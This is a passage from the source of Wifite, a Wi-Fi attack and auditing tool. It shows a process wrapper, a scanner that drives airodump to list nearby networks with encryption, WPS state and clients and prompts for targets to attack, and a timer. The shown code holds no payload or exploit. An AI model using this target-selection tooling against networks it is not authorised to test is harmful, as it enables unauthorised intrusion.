128 | ''' Waits for process to finish, sets stdout & stderr ''' 129 | if self.pid.poll() is None: 130 | self.pid.wait() 131 | if self.out is None: 132 | (self.out, self.err) = self.pid.communicate() 133 | 134 | if type(self.out) is bytes: 135 | self.out = self.out.decode('utf-8') 136 | 137 | if type(self.err) is bytes: 138 | self.err = self.err.decode('utf-8') 139 | 140 | return (self.out, self.err) 141 | 142 | def poll(self): 143 | ''' Returns exit code if process is dead, otherwise 'None' ''' 144 | return self.pid.poll() 145 | 146 | def wait(self): 147 | self.pid.wait() 148 | 149 | def running_time(self): 150 | ''' Returns number of seconds since process was started ''' 151 | return int(time.time() - self.start_time) 152 | 153 | def interrupt(self, wait_time=2.0): 154 | ''' 155 | Send interrupt to current process. 156 | If process fails to exit within `wait_time` seconds, terminates it. 157 | ''' 158 | try: 159 | pid = self.pid.pid 160 | cmd = self.command 161 | if type(cmd) is list: 162 | cmd = ' '.join(cmd) 163 | 164 | if Configuration.verbose > 1: 165 | Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd)) 166 | 167 | os.kill(pid, signal.SIGINT) 168 | 169 | start_time = time.time() # Time since Interrupt was sent 170 | while self.pid.poll() is None: 171 | # Process is still running 172 | time.sleep(0.1) 173 | if time.time() - start_time > wait_time: 174 | # We waited too long for process to die, terminate it. 175 | if Configuration.verbose > 1: 176 | Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time) 177 | os.kill(pid, signal.SIGTERM) 178 | self.pid.terminate() 179 | break 180 | 181 | except OSError as e: 182 | if 'No such process' in e.__str__(): 183 | return 184 | raise e # process cannot be killed 185 | 186 | 187 | if __name__ == '__main__': 188 | Configuration.initialize(False) 189 | p = Process('ls') 190 | print(p.stdout()) 191 | print(p.stderr()) 192 | p.interrupt() 193 | 194 | # Calling as list of arguments 195 | (out, err) = Process.call(['ls', '-lah']) 196 | print(out) 197 | print(err) 198 | 199 | print('\n---------------------\n') 200 | 201 | # Calling as string 202 | (out, err) = Process.call('ls -l | head -2') 203 | print(out) 204 | print(err) 205 | 206 | print('"reaver" exists: %s' % Process.exists('reaver')) 207 | 208 | # Test on never-ending process 209 | p = Process('yes') 210 | print('Running yes...') 211 | time.sleep(1) 212 | print('yes should stop now') 213 | # After program loses reference to instance in 'p', process dies. 214 | 215 | -------------------------------------------------------------------------------- /wifite/util/scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from ..util.color import Color 5 | from ..tools.airodump import Airodump 6 | from ..util.input import raw_input, xrange 7 | from ..model.target import Target, WPSState 8 | from ..config import Configuration 9 | 10 | from time import sleep, time 11 | 12 | class Scanner(object): 13 | ''' Scans wifi networks & provides menu for selecting targets ''' 14 | 15 | # Console code for moving up one line 16 | UP_CHAR = '\x1B[1F' 17 | 18 | def __init__(self): 19 | ''' 20 | Scans for targets via Airodump. 21 | Loops until scan is interrupted via user or config. 22 | Note: Sets this object's `targets` attrbute (list[Target]) upon interruption. 23 | ''' 24 | self.previous_target_count = 0 25 | self.targets = [] 26 | self.target = None # Target specified by user (based on ESSID/BSSID) 27 | 28 | max_scan_time = Configuration.scan_time 29 | 30 | self.err_msg = None 31 | 32 | # Loads airodump with interface/channel/etc from Configuration 33 | try: 34 | with Airodump() as airodump: 35 | # Loop until interrupted (Ctrl+C) 36 | scan_start_time = time() 37 | 38 | while True: 39 | if airodump.pid.poll() is not None: 40 | return # Airodump process died 41 | 42 | self.targets = airodump.get_targets(old_targets=self.targets) 43 | 44 | if self.found_target(): 45 | return # We found the target we want 46 | 47 | if airodump.pid.poll() is not None: 48 | return # Airodump process died 49 | 50 | for target in self.targets: 51 | if target.bssid in airodump.decloaked_bssids: 52 | target.decloaked = True 53 | 54 | self.print_targets() 55 | 56 | target_count = len(self.targets) 57 | client_count = sum(len(t.clients) for t in self.targets) 58 | 59 | outline = '\r{+} Scanning' 60 | if airodump.decloaking: 61 | outline += ' & decloaking' 62 | outline += '. Found' 63 | outline += ' {G}%d{W} target(s),' % target_count 64 | outline += ' {G}%d{W} client(s).' % client_count 65 | outline += ' {O}Ctrl+C{W} when ready ' 66 | Color.clear_entire_line() 67 | Color.p(outline) 68 | 69 | if max_scan_time > 0 and time() > scan_start_time + max_scan_time: 70 | return 71 | 72 | sleep(1) 73 | 74 | except KeyboardInterrupt: 75 | pass 76 | 77 | 78 | def found_target(self): 79 | ''' 80 | Detect if we found a target specified by the user (optional). 81 | Sets this object's `target` attribute if found. 82 | Returns: True if target was specified and found, False otherwise. 83 | ''' 84 | bssid = Configuration.target_bssid 85 | essid = Configuration.target_essid 86 | 87 | if bssid is None and essid is None: 88 | return False # No specific target from user. 89 | 90 | for target in self.targets: 91 | if Configuration.wps_only and target.wps not in [WPSState.UNLOCKED, WPSState.LOCKED]: 92 | continue 93 | if bssid and target.bssid and bssid.lower() == target.bssid.lower(): 94 | self.target = target 95 | break 96 | if essid and target.essid and essid.lower() == target.essid.lower(): 97 | self.target = target 98 | break 99 | 100 | if self.target: 101 | Color.pl('\n{+} {C}found target{G} %s {W}({G}%s{W})' 102 | % (self.target.bssid, self.target.essid)) 103 | return True 104 | 105 | return False 106 | 107 | 108 | def print_targets(self): 109 | '''Prints targets selection menu (1 target per row).''' 110 | if len(self.targets) == 0: 111 | Color.p('\r') 112 | return 113 | 114 | if self.previous_target_count > 0: 115 | # We need to 'overwrite' the previous list of targets. 116 | if Configuration.verbose <= 1: 117 | # Don't clear screen buffer in verbose mode. 118 | if self.previous_target_count > len(self.targets) or \ 119 | Scanner.get_terminal_height() < self.previous_target_count + 3: 120 | # Either: 121 | # 1) We have less targets than before, so we can't overwrite the previous list 122 | # 2) The terminal can't display the targets without scrolling. 123 | # Clear the screen. 124 | from ..util.process import Process 125 | Process.call('clear') 126 | else: 127 | # We can fit the targets in the terminal without scrolling 128 | # 'Move' cursor up so we will print over the previous list 129 | Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count)) 130 | 131 | self.previous_target_count = len(self.targets) 132 | 133 | # Overwrite the current line 134 | Color.p('\r{W}{D}') 135 | 136 | # First row: columns 137 | Color.p(' NUM') 138 | Color.p(' ESSID') 139 | if Configuration.show_bssids: 140 | Color.p(' BSSID') 141 | Color.pl(' CH ENCR POWER WPS? CLIENT') 142 | 143 | # Second row: separator 144 | Color.p(' ---') 145 | Color.p(' -------------------------') 146 | if Configuration.show_bssids: 147 | Color.p(' -----------------') 148 | Color.pl(' --- ---- ----- ---- ------{W}') 149 | 150 | # Remaining rows: targets 151 | for idx, target in enumerate(self.targets, start=1): 152 | Color.clear_entire_line() 153 | Color.p(' {G}%s ' % str(idx).rjust(3)) 154 | Color.pl(target.to_str(Configuration.show_bssids)) 155 | 156 | @staticmethod 157 | def get_terminal_height(): 158 | import os 159 | (rows, columns) = os.popen('stty size', 'r').read().split() 160 | return int(rows) 161 | 162 | @staticmethod 163 | def get_terminal_width(): 164 | import os 165 | (rows, columns) = os.popen('stty size', 'r').read().split() 166 | return int(columns) 167 | 168 | def select_targets(self): 169 | ''' 170 | Returns list(target) 171 | Either a specific target if user specified -bssid or --essid. 172 | Otherwise, prompts user to select targets and returns the selection. 173 | ''' 174 | 175 | if self.target: 176 | # When user specifies a specific target 177 | return [self.target] 178 | 179 | if len(self.targets) == 0: 180 | if self.err_msg is not None: 181 | Color.pl(self.err_msg) 182 | 183 | # TODO Print a more-helpful reason for failure. 184 | # 1. Link to wireless drivers wiki, 185 | # 2. How to check if your device supporst monitor mode, 186 | # 3. Provide airodump-ng command being executed. 187 | raise Exception('No targets found.' 188 | + ' You may need to wait longer,' 189 | + ' or you may have issues with your wifi card') 190 | 191 | # Return all targets if user specified a wait time ('pillage'). 192 | if Configuration.scan_time > 0: 193 | return self.targets 194 | 195 | # Ask user for targets. 196 | self.print_targets() 197 | Color.clear_entire_line() 198 | 199 | if self.err_msg is not None: 200 | Color.pl(self.err_msg) 201 | 202 | input_str = '{+} select target(s)' 203 | input_str += ' ({G}1-%d{W})' % len(self.targets) 204 | input_str += ' separated by commas, dashes' 205 | input_str += ' or {G}all{W}: ' 206 | 207 | chosen_targets = [] 208 | 209 | for choice in raw_input(Color.s(input_str)).split(','): 210 | choice = choice.strip() 211 | if choice.lower() == 'all': 212 | chosen_targets = self.targets 213 | break 214 | if '-' in choice: 215 | # User selected a range 216 | (lower,upper) = [int(x) - 1 for x in choice.split('-')] 217 | for i in xrange(lower, min(len(self.targets), upper + 1)): 218 | chosen_targets.append(self.targets[i]) 219 | elif choice.isdigit(): 220 | choice = int(choice) - 1 221 | chosen_targets.append(self.targets[choice]) 222 | 223 | return chosen_targets 224 | 225 | 226 | if __name__ == '__main__': 227 | # 'Test' script will display targets and selects the appropriate one 228 | Configuration.initialize() 229 | try: 230 | s = Scanner() 231 | targets = s.select_targets() 232 | except Exception as e: 233 | Color.pl('\r {!} {R}Error{W}: %s' % str(e)) 234 | Configuration.exit_gracefully(0) 235 | for t in targets: 236 | Color.pl(' {W}Selected: %s' % t) 237 | Configuration.exit_gracefully(0) 238 | 239 | -------------------------------------------------------------------------------- /wifite/util/timer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import time 5 | 6 | class Timer(object): 7 | def __init__(self, seconds): 8 | self.start_time = time.time() 9 | self.end_time = self.start_time + seconds 10 | 11 | def remaining(self): 12 | return max(0, self.end_time - time.time()) 13 | 14 | def ended(self): 15 | return self.remaining() == 0 16 | 17 | def running_time(self): 18 | return time.time() - self.start_time 19 | 20 | def __str__(self): 21 | ''' Time remaining in minutes (if > 1) and seconds, e.g. 5m23s''' 22 | return Timer.secs_to_str(self.remaining()) 23 | 24 | @staticmethod 25 | def secs_to_str(seconds): 26 | '''Human-readable seconds. 193 -> 3m13s''' 27 | if seconds < 0: 28 | return '-%ds' % seconds 29 | 30 | rem = int(seconds) 31 | hours = int(rem / 3600) 32 | mins = int((rem % 3600) / 60) 33 | secs = rem % 60 34 | if hours > 0: 35 | return '%dh%dm%ds' % (hours, mins, secs) 36 | elif mins > 0: 37 | return '%dm%ds' % (mins, secs) 38 | else: 39 | return '%ds' % secs 40 | --------------------------------------------------------------------------------